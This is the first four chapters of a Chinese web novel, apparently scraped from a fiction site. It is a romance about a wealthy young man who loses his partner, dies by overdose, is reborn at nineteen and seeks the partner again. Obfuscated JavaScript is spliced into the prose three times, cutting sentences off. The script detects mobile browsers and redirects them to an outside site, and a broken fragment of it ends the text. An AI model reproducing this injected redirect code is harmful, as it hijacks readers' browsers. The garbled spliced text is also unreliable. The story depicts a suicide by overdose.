《渣攻重生后被反压了》 1. 第一章 老婆没了 纪明冉死了。 贺琨始终不愿意面对,他给自己找了很多事情做,但就是一次都没有回去过。 年关前一天,贺琨还泡在酒吧里,霓虹灯将烟雾染成怪异的流体,玻璃碰撞声、鼓点、尖叫与谩骂搅成一团,重重砸在耳膜上。 一位穿着暴露衬衫的年轻男生踉跄着撞进贺琨怀中,见人没有抵触便大胆起来。 细腻软白的长臂暧昧地绕上贺琨的身体,声音里似乎能掐出水:“琨哥,别总皱着眉头嘛,出来玩了要开心些,我给琨哥倒酒,好不好?” 吧台那边,调酒师手腕翻飞,碎冰机发出刺耳的轰鸣,混合着冰块撞击杯壁的脆响。 贺琨敞开长腿,往后一靠:“喂我。” 男生满脸不可置信,他没想到自己运气那么好,贺二少可是出了名的难搞,况且这身材样貌,怎么说自己都不会亏。 他笑得更加魅惑迷人,慢悠悠将酒杯端起,紧贴着贺琨坐下:“那,琨哥喜欢怎么喂呢......” 贺琨有些抽离,汗味、香水味、烟草味,以及中央空调出来的凉风,他连眼神都没给便道:“随你。” 男生心花怒放正准备进一步动作,贺琨的手机却开始震动,他心里暗骂一声,面上还是笑眯眯的:“琨哥,什么人啊?叫过来一起玩呢。” 贺琨低头查看手机,是他在摩托俱乐部那边的助理,于是反手挂断,很快一条短信追着发送过来: 贺先生,您参加的国际摩托赛事工作组需要再次审核您的身份证件,明天之前请务必上传。 身份证件?可贺琨所有的重要证件都在他和纪明冉同居的房子里。 他纠结很久,结果还是来了。 贺琨站在那道熟悉的门前久久未动,直到第一枚烟花高高升起,伴随着节日的喜庆炸开。 玻璃倒映中修长身影麻木地看向窗外,遍布血丝的眸中,整片夜幕下绚丽五彩的烟花。 应该凌晨12点了,今年这个年关真冷。 市区这套房子是纪明冉和他决定同居时一起挑的,小区环境雅致,出行方便,他很喜欢。 距离纪明冉下葬已经半个月了,今天还是贺琨第一次回来,屋子里又冷又黑,只有陌生。 不再暖和温馨,也没有夜里永远亮着的灯。 “阿嚏...”喷嚏声划破宁静,贺琨又缓缓动起来,摸到开关将灯打开。 一切摆放如半月之前,纹丝不动,只是餐桌上的玫瑰花已经枯萎了,花瓣干枯凋零。 他又打了个寒颤,心想:真TD冷。 思路似乎都被冻僵了,贺琨盯着空荡荡的房间好几秒,才回忆起此行的目的。 他压下情绪,争分夺秒走进卧室,只想拿到东西赶紧逃跑。 却没想方才踏进卧室,便看见个意料之外的东西。 一个收拾到一半的行李箱。 箱中全是纪明冉的东西,没有一样和贺琨有关系。 酸意泛上鼻腔,贺琨微微仰头苦笑:纪明冉你瞧,老天爷都不成全你。 还记得最后见到纪明冉那天,他们起了争执。 贺琨喝多了酒在朋友面前夸下海口,拍下限量典藏的赛车,准备出去嘚瑟一圈。 他知道,那天是他们的五周年纪念日,他都想好了,还定了束玫瑰和项链,等赛车结束回家再和纪明冉共同庆祝。 没想到中途又被拉着去了另一场,回家时已经过了凌晨12点。 贺琨也很心虚,桌上的饭菜都凉了,自知理亏的他谄谄地笑着走过去。 纪明冉肯定听见他开门的声音了,但是没有起身回头。 那道纤细的身影只是安静地坐在餐桌前,背影修长,衣着精致。 都在一起好几年了,贺琨承认,自己还是能被迷得五迷三道。 他赶忙拖开纪明冉身旁的椅子跨坐上去,不由分说地搂住自家老婆。 微卷的睫毛又长又密,眼睛很好看,鼻子也很好看,香香软软的,板着脸都好看得够呛。 “冉冉,对不起,我真的错了。都是因为那张三,说好了只约一场,我要陪你庆生的嘛,但是后来张三又说......算了算了,不提他们,总之,别生气啦,你猜我给你准备了什么礼物?” 身上浓烈的酒味和陌生的香水味扩散,始作俑者却浑然不知。 “我再去把饭菜热一热,随便吃些,不然待会你的胃又疼。” 听见纪明冉的关心,贺琨心里飘飘然起来,冉冉果然什么时候都最心疼他,从不计较那些有的没的。 “老婆,你真好,我越来越爱你了。” 纪明冉弯起嘴角,笑意未及眼底,端起贺琨爱吃的菜肴走进厨房。 贺琨后知后觉地坐在餐厅里,丝毫未察。 他还美滋滋地想自己一定是最幸运的人,因为他的爱人是全世界最好的恋人。 室内安静,只有厨房时不时传来些许声响,很快纪明冉再次端着香气四溢的菜肴走进餐厅。 贺琨趁机将人拉入怀里,赶紧香了一口。 不妨纪明冉突然抗拒起来,起初他还以为是玩闹,直至头皮传来钻心的刺痛。 贺琨被迫仰起头,皱着眉正想询问,却被纪明冉的冷漠镇住了。 那道眼神陌生而锋利,他从未见过。 “贺琨,分手吧。” 身体还很热,心里却如同被浇灌了一盆冰水,贺琨以为自己听错了:“啊?老婆你说什么?” “分手。” 接下来说是争吵,不如说是单方面输出,贺琨急得上蹿下跳,纪明冉冷眼旁观。 最后纪明冉疲惫不堪地总结:“够了,贺琨,你其实并不爱我,冷静几天,好好考虑。” 贺琨拎起外套,摔门而去。 不爱?谁能和不爱的人在一起那么多年?当他没得选吗?他要有那意思,纪明冉算个屁! 贺琨回到车中坐下,夜风从车窗灌进领口直冷得他一哆嗦,像是回忆起什么,他突然跳起来打开车镜,拽着领口往下一扯,脖颈间果然有枚口红印。 应该是被看见了,怪不得,贺琨气得狠狠拍了下方向盘:“艹!” 还在盘山赛道飙车时,贺琨就察觉到有人趁乱凑近自己,但是酒意上头,被张三打了个岔,竟然给忘了。 纪明冉向来都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993782|178082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先服软的那个,尽管这次自己理亏,贺琨还是等着纪明冉来求和好。 两天后,贺琨等到了。 他等到了纪明冉的死讯,一场车祸事故。 贺琨唇舌发涩,抖着手打开烟盒,火光映在脸侧跃动,很快烟雾弥漫。 搞笑,这世界上谁离不开谁? 可是纪明冉死后,他的心却空了。 贺琨眨了眨酸涩的眼睛,缓缓蹲下身子,将行李箱里的衣服拿出来一件件挂好。 随着时间的流逝,烟盒也空了,他焦躁不安,将空烟盒翻了又翻,却什么也都抖不出来。 他泄愤般将其用力砸在墙角,脆响打破室内的安静。 贺琨如同漏气的气球狼狈地蹲下,捂着眼睛低沉沉地哭笑。 半月以来不停的烂醉和紧绷的情绪得以宣泄,直到他力竭昏睡,房间才逐渐恢复安静。 今夜,贺琨终于梦见了许久未见的爱人。 翌日,他在床上安静地躺了一整天,等天黑。 天不遂人愿,黑暗的房间里,手机屏幕兀自亮了起来,铃声响个不停,他僵硬地拿起手机,看也没看,声音沙哑:“说。” “贺少,今晚来锦江喝酒啊,给你叫了你最近喜欢的那个小男生来陪,今晚有趣得很。”张三笑得古怪。 他喜欢的? 贺琨想了半天,想不起来:“不去。” 本来平时也没人敢邀贺琨去玩这方面的,但是最近贺二少男朋友死了,这可是天大的好时机,张三还在不知死活地邀请。 贺琨直接挂断电话,周身环着戾气,他翻出白色药片,私自加了些剂量。 只想让梦做得长些。 — 贺青峰找到贺琨的时候,贺琨已经不成人样,桌上都是发烂发臭的外卖盒子,床边空了好几瓶乱七八糟的小药罐。 头发长得遮住眼睛,低垂着脑袋,颓靡不振。 贺青峰将西装外套脱下来,巡视一圈,无处可放,最后又挂回门口的衣架上:“贺琨,起来,回家。” 贺琨缓缓抬头,看着来人好半晌:“唔……哥?我在家啊,我和冉冉在一起。” “纪明冉?他已经死了。” 贺琨状态不好,贺青峰决定将贺琨接到家里照顾一段时间。 “哥,你怎么这么说话!”贺琨连忙看向贺青峰身后,低声细语道,“老婆,宝贝,千万别生气,我哥他忙昏头了。” 贺青峰转身,顺着贺琨的视线看过去,空无一物。 他皱起眉头,没有再浪费口舌,拿出手机拨打通助理的电话:“派人来,打晕带回去。” 贺青峰的别墅所在区很安静,他走出房间,站在阳台上点燃了一支烟,眼眸微阖,远处夕阳晕出一片橘黄的霞云。 不一会,一位年轻医生走出来:“药物引用过量,造成脑神经损伤加之重大打击,确实可能出现幻视幻听等症状,详细报告和药物疗程安排明天才能送来。” “嗯,劳烦你跑一趟。” 年轻医生低头一笑:“峰哥客气,你的事我自然都是上心的。” 贺青峰皱眉将烟头掐灭,没再答话。 2. 第二章 回到过去 贺琨捧着艳红糜烂的玫瑰花束,花瓣上的水滴在灯光折射下散发着暧昧的光泽。 他穿着正式的西装,口袋里装着礼盒,头发被一丝不苟的梳起,面部线条棱角分明,鼻梁高挺,气势压人的五官被眼神中爱意中和得柔软。 纪明冉在对面安静的吃饭,耐心听着贺琨说着生活里那些琐碎日常的事,时不时抬头笑笑,说上两句。 他要在氛围最好的时候将礼物拿出来,告诉冉冉,他很爱他。 玫瑰花也被修剪好,放在了餐桌上流光溢彩的水晶花瓶中。 纪明冉却先开口说了句话,贺琨没听清:“老婆,你说什么?” 纪明冉笑盈盈的:“我说,你出轨了,你不爱我。” “没有!我没有!我爱你,我只爱你!”贺琨突然激动起来,情绪不受控制,他有种不好的预感,他必须证明自己。 “那你说,你为什么要杀了我?” 肌肤上传来温热的触感,纪明冉握住了他手腕,贺琨低头一看,自己竟然拿着匕首,对着纪明冉的胸膛。 “没有,没有,不是这样的,不是......” 他嗫嚅着,想将手中的匕首丢出去,却怎么也甩不脱,湿热的触感却意外传来,纪明冉的胸膛上展开红色的血花,艳红糜烂。 贺琨睁开眼睛,浑身冷汗。 他起身给自己倒了一杯温水,在阳台上坐到清晨。 纪明冉死后的第二个冬天,贺琨治理疗程结束,那时医生们一致认为从测评结果上看他的心理状态已经毫无问题。 尽管性格大变,但遭遇重大打击时,这是可以解释的。 也是在那年,某晚贺青峰工作结束回家时,贺琨仍安静地坐在书房里作画。 这是心理医生曾经提出来的疗法之一,贺琨从中选择拿起画笔,贺青峰知道那位去世的纪明冉所学专业便和美术相关。 但他并没指望贺琨能坚持多久,毕竟从小爬树上竿,摸鸟捉虫,长大后玩摩托开赛车,成天蹦迪喝酒,就没安静过。 哪不妨此次,反倒是贺青峰猜错了,贺琨一学便是两年,期间一日未歇。 晚饭,兄弟两人坐在餐桌前。 “哥,我身体恢复得差不多了,也没什么事可干,想四处走走。”贺琨停筷,认真地看着贺青峰,勾起嘴角灿烂一笑,“人生还很长,我已经想通了。” “嗯,那我派个助理给你,方便。”贺青峰自是担忧,但并未多言。 从那以后,贺琨便去往世界各地旅居,每月定期会给贺青峰来电问候,一切都向好发展。 又过了一年半,他将随行助理打发回来,说想一个人真正地生活。 贺青峰再次同意了,不过要求还是贺琨定期来电。 30岁时,贺琨便定居在了这个小镇。 人们大体都热情纯朴,他给自己设计了一家小酒馆,当起了老板。 因为设计风格独特又充满美感,调酒也颇有心得,生意不差。 可惜过往的事情如影随形,挥之不去。贺琨很想纪明冉,无论做什么事都想。 纪明冉说得对,他不懂爱。 只要有约,总是没日没夜的玩,有时候兴起,飞到国外,为了场赛事小住半月也是常事。 那时,他们的对话框里每日都有纪明冉的问候,他永远热烈地爱着他。 可关于纪明冉,贺琨只记得他喜欢坐在客厅的窗前,那个正对着门口的位置,拿着画笔描绘着一幅又一幅的画作。 拥有很多爱时,会理所应当。 贺琨在数个失眠的夜里,看着朝阳从小镇背后山头升起。 他装作纪明冉的模样生活,作画以及等待。 试图弄明白那些无尽夜里纪明冉是如何失望,又用尽多少勇气和爱意,才被框在那扇小小的门内,日复一日。 贺琨想不到,而答案存在的地方,那扇门背后,如今已永远窥探不到。 于是,在一个春天,他顺着河岸漫步,小镇的娱乐休闲场所不多,这算一处。 大概是季节好,天气也好,有约会的年轻情侣,出来游玩的一家人,散步的老夫妻...... 贺琨串行在人群中,超脱感前所未有的强烈。 最后那顿晚餐,他在巷子口打包了份老字号的小笼包,冉冉以前很喜欢吃。 贺琨一人坐在餐桌前,夕阳渐斜。 暮色将他的影子拉长,夜色又将他的影子埋葬。 如同每个稀松平常的夜晚,贺琨到卧室闭上双眼,笑得前所未有地真挚。 “冉冉,别生气了,这些年我都很乖,就来接我一次吧。” 空荡的房间,无人回应。 —— 胳膊和大腿火辣辣的痛,贺琨醒来时感觉有些奇怪,他服了大量的药,不应该是这种痛法。 他挣扎着睁开眼,却看见了熟悉的面孔,刘助理,哥哥的首席助理,白发少了挺多。 “二少,您醒了?现在感觉如何?” “你们给我洗胃了?”贺琨看向天花板,估计这次要被哥带回去一段时间了。 “洗胃?没有啊。这次万幸只是轻微骨折和擦伤,但您的赛用摩托也被贺总收回了。” “摩托?”贺琨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993783|178082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好多年都没碰这东西了,他怀疑地扫视周围,联想到年少时有次赛车时的意外跌伤,“我的生日礼物?” “是的,但还给您留了一辆仿赛摩托。”刘助赶忙补充,可别惹恼这混世魔王,旧伤添新伤。 “把我手机拿来,你们先出去。”贺琨言辞有些急切。 刘助都准备好大干一场,安抚好二少,结果就那么轻飘飘一句,他都开始怀疑太阳是不是打西边出来了,但还是立马将事故前的贴身衣物放到病床边。 “那,二少,我先回公司了,有什么事您再吩咐我,”刘助回头看向跟着自己的下属,“冯平,你留在医院照顾二少。” 贺琨点头应允,等所有人离开房间,他迅速拿起手机,显示屏上显示的年份明晃晃地告诉他,此时他应该是才满19岁不久,一切尚未发生,都来得及去改变。 他匆忙按下牢记于心的号码,却在拨打时有些迟疑,贺琨眨眨干涩的眼睛,得换个号码:“冯平——” 一个干练的年轻人推门而入:“二少,有什么事吗?” “手机借我用用,我打个电话。” 冯平掏出手机解开锁,递给病床上的青年。 只见他指间飞快拨动,最后犹犹豫豫几分钟,才拨打出去,等待期间调整了坐姿,还清了清嗓,很快电话接通了,是一阵清亮的女声。 “你好,请问你找谁?” 明显这道声音不在青年的预料之内,他眸中划过错愕和失落,又带着一丝侥幸。 很复杂的情绪,冯平看不明白。 不过,二少很快就开口问道:“请问,您姓纪吗?” 电话那头回答:“那你打错了,我不姓纪,也不认识姓纪的人。” “不好意思,实在是打扰了。”二少等待对方将电话挂断后,又手机还给了自己,安静到有些死气沉沉,不同往日。 “二少,您若是想找什么,可以直接吩咐我们?”冯平试探着开口。 “没事的,没事……” 看起来不像没事的样子,冯平觉得有些古怪,要不明天给贺总反映一下,再给二少追加几项检查? 贺琨几句话将冯平打发了出去,上网访问纪明冉母校的官方网站,国内知名的顶级设计学院,可无论怎么搜索,都没有这个人的存在。 按理说,以纪明冉优异的成绩和出色的表现,多少都会有一些奖项公示,可实际上就是空空如也,像这个人凭空消失了。 贺琨心神不宁,关闭手机,揉了揉酸涩的眉心。 重生也好,平行时空也罢,哪怕只是一场逼真的梦,他也定要见到纪明冉。 3. 第三章 拥他入怀 四年后。 春日的旷野风格外喧嚣,将四周草木扫荡得哗哗作响,一座古式建筑的长廊上,身形挺拔的青年捧着手上的纸笔认真勾勒。 薄唇轻抿,微乱的短发肆意飞扬,黑色衣角在风中鼓动,许久,他抬头微眯眼睛,用笔对着虚空比画,又继续埋头勾线。 “小贺!你过来一下。” “好,教授,我这就过来。”贺琨回头看向自己的老师回应道,最后落下两笔收尾,便朝老师走去。 中途却被一个电话打断,贺琨看老师点了点头,才接起电话朝一旁走去。 “喂,师兄,怎么了?” 梁斌明亮的音色从话筒那边传来:“你和老师去实地考察兰临的古建了?” “嗯,今早刚到。”贺琨回头看了一眼构造极有地方特色的古建,十分有记录价值,不应该流失在时代进程中。 “我明天过来帮你接手几天,可别说师兄不疼你。” “嗯……他真的去?” “亚弥尼克州已经此次国际交流会的官方网站上发文宣传了,还能有假?你小子大胆些,行就行,不行就不行!” “师兄,我心里有数。” “你有数,你有个屁的数!你做得那么多能被看见吗?” 这么多年来,蒋斌将这份小心翼翼的心意尽数看在了眼里,替贺琨觉得憋闷。 贺琨大学入校时,他是带班学长,贺琨是他带班班级里的学生,意外又和他排在了一个寝室。 贺琨性子安静,专业表现不差,学习起来认真,干活不含糊,蒋斌还挺喜欢的,加之自己又年长两岁,也乐意将贺琨当弟弟照顾。 后来某场晚宴会,被家里安排去充人头的、不管事儿的师兄弟打了个照面,才发现蒋家和贺家长辈都认识。 去年贺琨本科毕业,开始硕博连读,又和他分到一个导师名下,一来二去的,两人性格合拍,感情倒也比较好。 蒋斌女朋友苏家二小姐苏宝珍,见人长得好,家世好,想着肥水不流外人田,好几次想给好友们介绍贺琨当对象,结果竟一次都没成。 苏宝珍说起来,都开始猜测贺琨是不是那方面有问题,蒋斌笑笑,让宝珍别开玩笑,但心里是好奇上了。 这边贺琨想避免类似的事情再发生,索性告诉蒋斌,自己心里有喜欢的人。 结果就是,蒋斌更好奇了。 什么人把能贺琨这种级别的帅哥迷得死心塌地的,其他人眼神都不带给,深情又专一,搁谁谁不爱呢,贺琨心上人到底是何方神圣? 蒋斌留心观察,于是顺理成章地发现了,贺琨喜欢的人可不得了,是个随随便便上报纸,媒体巴不得盯到家门口去的大人物,纪明冉!坤和集团创始人的小儿子! 纪氏历史悠久,说是豪门中的顶级豪门也不为过。 而这纪明冉,是前几年刚从国外母族那边接回国的,说起来也实属处境尴尬,行走不易。上头被各有所长的兄长们压着,下面人逢场作戏,私下里并不认可。 这人沉寂一阵后,再等众人回神时,已经大刀阔斧地出手,将几个项目做得漂亮得出奇,震住风言风语,成了纪家热门继承人人选。 别说蒋家,贺家,再来几家,恐怕拍马也是追不上纪氏的繁荣。 所以,蒋斌始终以为贺琨只是年轻,一时兴起。 毕竟比上不足,比下有余,余得那是多多的。贺琨只要点头,还是有大批大批好看的,年轻的,听话的,排着队等他。 但后来蒋斌明白了,贺琨不是开玩笑,这货就是个犟种,还是个过于“安分守己”的犟种。 贺琨微垂着眼眸,拨弄手边的狗尾巴草,没回话。 蒋斌叹息:“行行行,你自己看着办,你先给老师说一声,我订好机票了,今晚就能到兰临市的机场……” 蒋斌话到一半停顿,话筒那边传来宝珍的声音,听不清,过了会蒋斌又继续道:“对了,就不碰面了,你直接飞亚弥尼克吧。” 贺琨终于放过了手中的狗尾巴草:“嗯嗯,谢谢师兄。” — 亚弥尼克国际机场,贺琨乘坐的航班缓缓降落。 冯平已经事先到达这里,为他提前安排好这次短期出国交流的相关事宜。 作为设计院的学生代表,整个交流会期间,贺二少将在T国的亚弥尼克州小住。 机场的vip通道口,不乏国内外记者,手提肩扛“长枪短炮”的,实在有些夸张,毕竟这也不一定拍得到什么实质性的画面。 临时出行,贺琨挑了个轻便的包背着,很快就看见了等待着他的冯平。 “什么情况?” 冯平也觉得阵仗属实有些大了:“好像是纪小爷纪明冉,也是这个点附近的飞机到亚弥尼克吧。” 忽地听见这名字,贺琨心不住地漏跳几拍,往回看了一眼,果然什么都没有:“嗯,先送我去酒店,下午去交流会现场。” 纪家生意在T国如日中天,纪明冉的行程如此掀然大波也在预料之中,毕竟不管置身何处,他好似永远都是人群的焦点。 贺琨收回视线,强迫自己打破不切实际的幻想,现实并不像电影画面那般唯美,巧合很少,唯有精心设计。 在纪明冉不知道的时间里,他已等待过成千上百次。 也恰如此次。 亚弥尼可的气候炎热而多雨,湿热的风裹着鸡蛋花香气漫过街道,棕榈树在炽烈阳光下舒展羽状叶片,宽大的芭蕉叶坠着未干的雨珠。 本以为一路畅通无阻,却在进入中心城区的高架上堵住了,贺琨内心有些焦急,指腹轻轻叩击车门侧的扶手。 冯平从后视镜看了一眼:“二少,恐怕还得堵个把小时,您那边?” “尽力吧。” “好的。” 打摩托事故后,冯平便跟着二少做事。这五年,二少不仅重新考进设计院,还学有小成,脾气变得很好,从不与人脸红急眼。 冯平出神地想着,却被前面的骚动拉回注意力:“嗯?” 贺琨在后排刷着交流会现场的咨询,闻声抬眸远看,瞳仁微缩,他在人群中一眼锁定了那道熟悉无比的身影。 那人被围住了,不安全。 好几个保镖在疏散人群,冉冉却还是被推搡着不断后撤。 贺琨抑制住下车的冲动,还是决定叫第三方,可刚拿起手机又皱起眉头,堵成这样当地的警方也进不来。 很快人群就蔓延到了贺琨的车附近,他饶是反应再慢,也想出来了,纪明冉的行程被透露了,有人想趁此次良机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993784|178082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浑水摸鱼,所以那么狂热,那么不可控。 估计纪明冉从车上下来也是迫不得已,手段低级但有效。 冯平仔细盯着,怕这异常的骚动危及自家少爷,他往后看了眼,二少面上没有太大波动,但显然气压有些低。 车里该有的防身用具都有,车也很牢固,但万事小心为上:“二少,您别担心,我们的车改造过,我已经联系当地的雇佣保镖了,很快加派人手过来。” 国外治安混乱,冯平办事向来细心妥当,自然是将出行的各种突发情况考虑周全。 “冯平,我要开车门了。” “好的……啊?二少!” 冯平下意识地答复,反应过来时车门已经被打开了。 喧闹的声音如潮水般涌入,如同蒙在耳边的薄膜被戳破,随着而来的是热带季候正午的热浪,连呼吸都沾上几分滚烫。 贺琨没想过,再次将纪明冉拥入怀抱会是这样的场景,异国他乡,并不浪漫,也不温情。 不像记忆中那样香软,手感略硬,好像更高,但不影响贺琨猛然加速的心跳,老婆老婆老婆老婆老婆…… 贺琨兴奋到有些木愣,纪明冉乘机而动,翻身占据优势位置,冰冷的枪口果断怼上贺琨的太阳穴。 冯平见状立马掏出手枪,对准指着自家二少的背影。 车外的保镖也被这突发情况搞愣了,但还在用身体隔绝着人群。 贺琨举起双手束手就擒,很好欺负的模样,声音有些沙哑:“冉……” 消音手枪的枪鸣传来,打断贺琨下意识的低喃。 幸而因为贺琨抬手的动作,两人位置稍变,子弹从对准纪明冉的太阳穴,变成擦过贺琨额头。 保镖眼疾手快,跳上贺琨的车,拉上了车门。 冯平看清来人后赶忙道:“纪小爷!都是误会,迅科集团的贺青峰您也是见过的,这是我家二少,贺总的弟弟。” 纪明冉眸光流转,收起枪支,车内紧绷的氛围缓和,他意味深长地看向额角流血的贺琨:“初次见面,还得谢谢贺二少。” 贺琨强行令自己收回视线,怀中的温度逐渐消散,额角疼感明显,湿热的红色液体落到了睫毛上,面上依旧一副沉默寡言的模样。 “无事,车改造过。” 纪明冉笑笑,微微侧头,似乎听着耳机里的汇报:“我的人很快就到,给贺二少添麻烦了。” “贺琨,我叫贺琨。”是老婆的贺琨。 纪明冉自然地改口,儒雅随和:“好的,贺琨。” 对话之中有种平静的疯感,冯助忽视异样感,拿出应急医疗箱想给二少简单处理,但是无奈坐在驾驶位上不大方便,有些够不着。 纪明冉接过:“我来吧。” 贺琨眼皮一跳,心跳太快了,他不想出丑:“我自己来吧,谢谢您。” 纪明冉再次体贴地坚持,结果又被拒绝了,干脆地将医疗箱交给了贺琨。 贺琨对着镜子处理伤口,却不住地瞥着坐在身旁的人,后座的位置坐了三个大男人,有些挤,纪明冉腿侧的温度隔单薄的面料传来。 活的,想要。 不行。 贺琨指尖在隐秘的角落不自觉的颤抖,心中重复道:要克制,要礼貌,要安静,要乖。 4. 第四章 一张船票 纪明冉的人到得很快,故意作乱的人被按下,车辆自然很快就疏通了,他下车的时候回头看了一眼还在闭目养神的贺琨。 “多谢,今日事发突然,改日我再登门拜谢。” 贺琨点头应下,等人转身离去才睁开双眼,盯着那道远去的身影,直至模糊、缩小最后消失。 冯平看二少状态古怪:“二少,先去医院看看,再去现场会?” 贺琨正想开口,余光微闪,他低头看去,座位上赫然是一枚无意掉落的袖扣,切割成多面体的黑色玛瑙与银色相互映衬,简约流畅,泛着清冷高级的金属光泽。 他小心捡起,珍重地攥进手里:“先回酒店吧。” 亚弥尼可州举办的交流会将持续一周,那人今天下午应该不会去了。 但贺琨没想到的是,直到交流会的最后一天,纪明冉也未曾露面。 亚弥尼可交流会的官方账号在平台公关得很及时,加之这场交流会本身举办得也很出色,纪明冉的缺席并未成为众矢之的,只是变成了一抹小小的遗憾。 贺琨坐在返程的候机厅里休息,昨夜对比着老师发来的图片,在软件上构建模型,一时忘记了时间,等工作结束的时候已经凌晨四点多了。 贵宾候机区相对比较安静,他带着眼罩闭目眼神。 “嗯,先落地首都签订合同,再申请航线......” 路过的男子声音低沉而富有磁性,如大提琴般醇厚,在空气中缓缓晕染开来,贺琨在黑暗中蓦然睁开眼,直至错落的脚步声远去,心里才敢泛出丝丝甜蜜。 — 兰临市。 贺琨在草野里穿行了一天,傍晚才从小山口回来,他倒在酒店的床上,举起手中精小昂贵的袖扣,在灯光下闪烁着冷光。 他从T国回兰临已经快一周了,伤口都结痂了,没等来纪明冉的电话,也没有说好的登门拜谢。 他应该把失物还给原主,说不定这枚袖口会对纪明冉很有意义。 但是又觉得纪家不会缺这枚袖扣吧,贺琨辗转反侧,决定自己收起来。 窗外一道闪光,紧接着雷声滚滚,贺琨忽地坐起来,不对。 他拿起手机,拨出电话:“喂,师兄,是我。” “怎么了,琨啊。” 贺琨坐到书桌前,拨弄着小小的袖扣:“师兄,纪明冉,他最近在首都还好吗?” 蒋斌停下手上的活计——老人,地铁,手机。 “那肯定比你大半夜不睡觉好,昨天听宝珍说,过两日还要举办个什么游轮晚宴,多少千金和少爷都伺机候着呢,恨不得连夜给他带个球。” 贺琨被逗乐,眉头一松:“那我可得赶紧打个飞的回去排队。” 蒋斌白眼一翻:“哟,胆子再大些,拐个弯去萨迪,变完性回来刚刚好。” 贺琨轻笑两声:“师兄,万一纪明冉喜欢男的,到时候我就来找你算账。” 他怎么会不知道呢,在很久以前的很多个夜晚,纪明冉的白臂攀在他脖颈上,眼尾泛红,眉头微蹙,明明已经有些受不了,也从未舍得将视线从他脸上移开。 “切,我怕你?头上的伤好了没?” “嗯,快好了。” “行,以后少出头,人家纪明冉要你救吗?他的安保那都是专业中的专业,最近还明着加派了人手。”蒋斌拿起平板笔,调整稿图线条,“安全得很,师兄帮你打听呢,好好跟着老师做项目。” “好,谢谢师兄。” “挂了,我赶稿去了,再熬夜,宝珍大小姐要把我给生吞了。” 贺琨挂断电话,窗外雨水飞溅,落地窗上的水珠汇成细流,弯弯曲曲地往下淌,游轮啊...... 他在雨声中入眠,做了一个从前的梦。 年轻的贺琨一身黑色夹克,黑红宝石耳钉在夕阳下海面上闪耀着夺目的血色,带着男友纪明冉登船。 这次是给发小吴云旗组的局撑场,三天两夜的游轮之旅,与世隔绝,醉生梦死。 也是贺琨首次将纪明冉公诸于众,这位业内知名珠宝设计师自此有了更值得讨论的新身份,贺二少的男友。 吴云旗搂着一位年轻女子走来,远远便开始招呼:“阿琨!咦!这就是你金屋藏娇了两年的美人?” “去去去,拿开你的咸猪手,”贺琨将吴云旗伸过来的手拍开,“这是我老婆,纪明冉。” 吴云旗轻浮地笑笑没当回事,证都没领,就算领了,在他们这个圈子里也算不得什么:“哦哦,原来是嫂子,你好你好。” 贺琨看出了吴云旗的敷衍和打趣,懒得多言,冉冉才不会在意这些,却没注意到身侧之人眼中划过的失落。 “你好,听小贺提起过你很多次,终于见到本人了,我叫纪明冉。” 纪明冉比贺琨年长三岁,却成熟稳重很多,容貌昳丽,眼含笑意,吴云旗看得晃了晃神。 “行了,云旗你忙,我和冉冉先回房间休息。” 贺琨看出吴云旗眼中划过的惊艳,将纪明冉拽进休息室,不由分说地狠狠亲上去,却磕到了嘴唇,很快铁锈味弥漫。 纪明冉尝试推搡了两下,无果,索性放松身体,随贺琨闹腾。 “干嘛笑那么好看!”贺琨松手时,两人都已经气喘吁吁。 纪明冉抚摸着抵在自己锁骨处的脑袋,毛茸茸的,声音还闷闷的,醋味大得不得了。 “可我只是你的,只爱你。”纪明冉轻笑着哄,拉着贺琨的手,撩开衣摆,不同的体温接触交换。 贺琨猛地抬起头,眼中的戾气都没来得及压下去,却染上了羞赫震惊,他下意识地加重了手上的动作,怀中人立马闭上眼抽气:“轻些,小贺。” “你......你你,怎么这样......” 纪明冉揉揉贺琨红得滴血的耳根,凑近轻呵:“都在一起两年了,小贺老公还是那么纯情啊,难道是,不喜欢?” 贺琨觉得头发都快竖起来了,脑仁也要热炸了,慌里慌张地捂住纪明冉的嘴:“不准说话!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 